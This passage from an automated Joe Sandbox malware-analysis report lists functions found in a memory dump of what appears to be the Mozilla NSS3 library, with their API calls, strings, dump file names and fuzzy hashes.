Instruction Fuzzy Hash: 50C177B1E01215EFEB00CF69D881BAAB7B4AF05318F144469DA5697F61E731E805CBE1

Function 6CDFAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDA9890: TlsGetValue.KERNEL32(?,?,?,6CDA97EB), ref: 6CDA989E

EnterCriticalSection.KERNEL32(?), ref: 6CDFAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CDFAFCE
PR_SetPollableEvent.NSS3(?), ref: 6CDFAFD9
EnterCriticalSection.KERNEL32(?), ref: 6CDFAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CDFB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CDFB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CDFB070
PR_JoinThread.NSS3(?), ref: 6CDFB07B
free.MOZGLUE(?), ref: 6CDFB084
EnterCriticalSection.KERNEL32(?), ref: 6CDFB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CDFB0C4
PR_JoinThread.NSS3(?), ref: 6CDFB0F3
free.MOZGLUE(?), ref: 6CDFB0FC
PR_JoinThread.NSS3(?), ref: 6CDFB137
free.MOZGLUE(?), ref: 6CDFB140

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 2fd38220d2ae68b7fac869f5476b88b2a343911f78f122cad8cd756c1e58979c
Instruction ID: 2b6e130d36377f59cbb08bc40c794db2ccf901e7d7793f8d7539773cf66b3f26
Opcode Fuzzy Hash: 2fd38220d2ae68b7fac869f5476b88b2a343911f78f122cad8cd756c1e58979c
Instruction Fuzzy Hash: 71917FB5900601DFCB14DF25C880846BBF1FF4931872A8569D8295BB72E732FD46CB91

Function 6CD75CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CD72BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CD72A28,00000060,00000001), ref: 6CD72BF0
Part of subcall function 6CD72BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CD72A28,00000060,00000001), ref: 6CD72C07
Part of subcall function 6CD72BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CD72A28,00000060,00000001), ref: 6CD72C1E
Part of subcall function 6CD72BE0: free.MOZGLUE(?,00000000,00000000,?,6CD72A28,00000060,00000001), ref: 6CD72C4A

free.MOZGLUE(?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75D0F
free.MOZGLUE(?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75D4E
free.MOZGLUE(?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75D62
free.MOZGLUE(?,?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75D85
free.MOZGLUE(?,?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75D99
free.MOZGLUE(?,?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CD75E3E
free.MOZGLUE(?,?,?,?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CD75E47
free.MOZGLUE(?,?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CD7AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CD75E78
free.MOZGLUE(?,?,?,?,?,?,?,6CD7AAD4), ref: 6CD75EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CD7AAD4), ref: 6CD75EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CD7AAD4), ref: 6CD75F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CD7AAD4), ref: 6CD75F4B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 22a4669317dcf3c86fac8d3269440e7699bbbbee114380293416a69d0e44480c
Instruction ID: 1f8bd37c93bd63c3b00089a185d109b0a5ce49b227b5262eb0f44b29ccd2567c
Opcode Fuzzy Hash: 22a4669317dcf3c86fac8d3269440e7699bbbbee114380293416a69d0e44480c
Instruction Fuzzy Hash: EF7150B5A00B01DFD720DF24D984A92B7B5BF89308F148629D85E87B21E731F955CB62

Function 6CCF8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CCF8E22
EnterCriticalSection.KERNEL32(?), ref: 6CCF8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CCF8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CCF8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CCF8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCF8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CCF8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CCF8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CCF8F00
free.MOZGLUE(?), ref: 6CCF8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CCF8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CCF8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CCF8F5B
PR_Unlock.NSS3(?), ref: 6CCF8F72
PR_Unlock.NSS3(?), ref: 6CCF8F82

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: ccaaa55d7e4162dc4e016a78225687d9ae58b4683d95575fd807ae6a3b1c7384
Instruction ID: 4171a41230b7a8e054aec7c108ed5b7af304b2676a7b286250604a1218e9ce57
Opcode Fuzzy Hash: ccaaa55d7e4162dc4e016a78225687d9ae58b4683d95575fd807ae6a3b1c7384
Instruction Fuzzy Hash: 3D5126B2E002159FEB009F6ACC84D6EB7B9FF46718B154129E8289B750F731ED0687E1

Function 6CDF0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CDF1000

Part of subcall function 6CDA9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CCD1A48), ref: 6CDA9BB3
Part of subcall function 6CDA9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CCD1A48), ref: 6CDA9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CDF1016

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PR_Unlock.NSS3(?), ref: 6CDF1021

Part of subcall function 6CD8DD70: TlsGetValue.KERNEL32 ref: 6CD8DD8C
Part of subcall function 6CD8DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CDF1046
PR_Unlock.NSS3(?), ref: 6CDF106B
PR_Lock.NSS3 ref: 6CDF1079
PR_Unlock.NSS3 ref: 6CDF1096
free.MOZGLUE(?), ref: 6CDF10A7
free.MOZGLUE(?), ref: 6CDF10B4
PR_DestroyCondVar.NSS3(?), ref: 6CDF10BF
PR_DestroyCondVar.NSS3(?), ref: 6CDF10CA
PR_DestroyCondVar.NSS3(?), ref: 6CDF10D5
PR_DestroyCondVar.NSS3(?), ref: 6CDF10E0
PR_DestroyLock.NSS3(?), ref: 6CDF10EB
free.MOZGLUE(?), ref: 6CDF1105

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 7d11e5062fe31e76b43913de02a8ad9030943c391c74082d144510959a30b23b
Instruction ID: a358ef5b4a6ff49e11d05f33c55be65ebea51bbee8142d4a2de8a040a2d56085
Opcode Fuzzy Hash: 7d11e5062fe31e76b43913de02a8ad9030943c391c74082d144510959a30b23b
Instruction Fuzzy Hash: 903189F5A00502ABDB01AF54EC41A45BB71BF01319B194235E80903FB1E732F97AEBD2

Function 6CD05E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CD05ECF
EnterCriticalSection.KERNEL32(?), ref: 6CD05EE3
PR_Unlock.NSS3(?), ref: 6CD05F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CD05FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CD061F4

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 601dbe4bd8d70ddc0caae895b93604dfb496df0e1dbc28f2ed1fe2013fbb6d40
Instruction ID: 39a79009ac5f23df9be44e064be0a9aebfedf2fdebef8f778772aacdf133e6a3
Opcode Fuzzy Hash: 601dbe4bd8d70ddc0caae895b93604dfb496df0e1dbc28f2ed1fe2013fbb6d40
Instruction Fuzzy Hash: 51F1F4B5A00215CFDB54CF28C88478ABBF4BF09304F15829ADD489B356E774EA95CF91

Function 6CC6DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CC6DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CC6DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CC6DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CC6DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC6DECD

Strings

%s at line %d of [%.10s], xrefs: 6CC6DF7C, 6CC6DFEC
database corruption, xrefs: 6CC6DF77, 6CC6DFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC6DF6D, 6CC6DFCC, 6CC6DFDD

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 1aa7a27410ad8036aee5ba7a864c1a45848c5dd934542d9232d1115b4ce1f3a4
Instruction ID: 919b79da8a400548a9042fb39a58ca79fda4e1de697b5e8cfc2ff6faa5b93fd1
Opcode Fuzzy Hash: 1aa7a27410ad8036aee5ba7a864c1a45848c5dd934542d9232d1115b4ce1f3a4
Instruction Fuzzy Hash: 25A1B671A042059BC710DF2AC9C0A6BB7F5BF85308F25496DE8858BF51F730E855CBA2

Function 6CD2EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CD2EE0B

Part of subcall function 6CD40BE0: malloc.MOZGLUE(6CD38D2D,?,00000000,?), ref: 6CD40BF8
Part of subcall function 6CD40BE0: TlsGetValue.KERNEL32(6CD38D2D,?,00000000,?), ref: 6CD40C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD2EEE1

Part of subcall function 6CD21D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CD21D7E
Part of subcall function 6CD21D50: EnterCriticalSection.KERNEL32(?), ref: 6CD21D8E
Part of subcall function 6CD21D50: PR_Unlock.NSS3(?), ref: 6CD21DD3

TlsGetValue.KERNEL32 ref: 6CD2EE51
EnterCriticalSection.KERNEL32(?), ref: 6CD2EE65
PR_Unlock.NSS3(?), ref: 6CD2EEA2
free.MOZGLUE(?), ref: 6CD2EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CD2EED0
PR_Unlock.NSS3(?), ref: 6CD2EF48
free.MOZGLUE(?), ref: 6CD2EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CD2EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CD2EFA4
free.MOZGLUE(?), ref: 6CD2EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CD2F055
free.MOZGLUE(?), ref: 6CD2F060

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: cda65473894d7ad8f0f56b6e990bbe27fe3a0bc0fc6f7ec9ffa409c1423310a3
Instruction ID: 4dfc9fc12694afad4bf5a094153763e7d5e185a9c121a633f1e832366c5570d5
Opcode Fuzzy Hash: cda65473894d7ad8f0f56b6e990bbe27fe3a0bc0fc6f7ec9ffa409c1423310a3
Instruction Fuzzy Hash: 358194B1A00209ABDF00DF65DC45BDE7BB5BF0831DF144024EA09A3B61E735E924CBA1

Function 6CCF4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CCF4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CCF4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CCF4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCF4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CCF4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CCF4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CCF4E85
DER_Encode_Util.NSS3(?,?,6CE405A4,00000000), ref: 6CCF4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CCF4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CCF4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCF4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CCF4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCF4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCF4FC8

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 8fa68201966220f5a1c69adcca3516ecf9ac66c0dedba4c72971531bfbe7beb9
Instruction ID: 49416c18a6e8abe5b6dda41a4dca70375f77abd87821eb53ef2ac91f66f851ed
Opcode Fuzzy Hash: 8fa68201966220f5a1c69adcca3516ecf9ac66c0dedba4c72971531bfbe7beb9
Instruction Fuzzy Hash: 98819171908301AFE781CF29D980B5BB7E4AF85358F148529F96CDB650F731E906CBA2

Function 6CD35C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CD35C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CD35CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CD35CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CD35D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CD35D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD35D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CD35E18
TlsGetValue.KERNEL32 ref: 6CD35E5E
EnterCriticalSection.KERNEL32(?), ref: 6CD35E72
PR_Unlock.NSS3(?), ref: 6CD35E8B

Part of subcall function 6CD2F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CD2F854
Part of subcall function 6CD2F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CD2F868
Part of subcall function 6CD2F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CD2F882
Part of subcall function 6CD2F820: free.MOZGLUE(04C483FF,?,?), ref: 6CD2F889
Part of subcall function 6CD2F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CD2F8A4
Part of subcall function 6CD2F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CD2F8AB
Part of subcall function 6CD2F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CD2F8C9
Part of subcall function 6CD2F820: free.MOZGLUE(280F10EC,?,?), ref: 6CD2F8D0

Strings

d, xrefs: 6CD35C36
tokens=[0x%x=<%s>], xrefs: 6CD35D3D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 100520122d5f667dc7d38227819e85884fd63656fb99463c5a025723b8039577
Instruction ID: 45667534c294cd08dea2ce0237adac16a74f35775c5a19339ffa472b9f526b7f
Opcode Fuzzy Hash: 100520122d5f667dc7d38227819e85884fd63656fb99463c5a025723b8039577
Instruction Fuzzy Hash: 637117F0A05125DBEB01AF24EC4176A7375AF8231CF145135DC0D9ABA2F736E915C7A2

Function 6CD28F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CD29582), ref: 6CD28F5B

Part of subcall function 6CD3BE30: SECOID_FindOID_Util.NSS3(6CCF311B,00000000,?,6CCF311B,?), ref: 6CD3BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CD28F6A

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CD28FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CD28FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CE0D820,6CD29576), ref: 6CD28FF9
DER_GetInteger_Util.NSS3(?), ref: 6CD2901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CD2903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CD29062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CD290A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CD290CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CD290F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CD2912D
free.MOZGLUE(00000000), ref: 6CD29136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CD29145

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: d9586bfc6e2bfec7e6bc7d0cc48ded1e9af91c7a9d626e43e694fe3b238ed37e
Instruction ID: 5a703adad61822eebfd5d6fb0b67085e58b6c15b74caddcfedfc615775980649
Opcode Fuzzy Hash: d9586bfc6e2bfec7e6bc7d0cc48ded1e9af91c7a9d626e43e694fe3b238ed37e
Instruction Fuzzy Hash: C251F6B2A043009BE710CF29DC41B9BB7E4AF94318F054529EE58D7761E735E949CBE2

Function 6CCDAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CCDAF47

Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90AB
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90C9
Part of subcall function 6CDA9090: EnterCriticalSection.KERNEL32 ref: 6CDA90E5
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA9116
Part of subcall function 6CDA9090: LeaveCriticalSection.KERNEL32 ref: 6CDA913F

FreeLibrary.KERNEL32(?), ref: 6CCDAF6D
free.MOZGLUE(?), ref: 6CCDAFA4
free.MOZGLUE(?), ref: 6CCDAFAA
PR_ExitMonitor.NSS3 ref: 6CCDAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CCDAFF5
PR_ExitMonitor.NSS3 ref: 6CCDB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CCDB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CCDB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CCDB03C

Strings

%s decr => %d, xrefs: 6CCDAFF0
Unloaded library %s, xrefs: 6CCDB023

Memory Dump Source

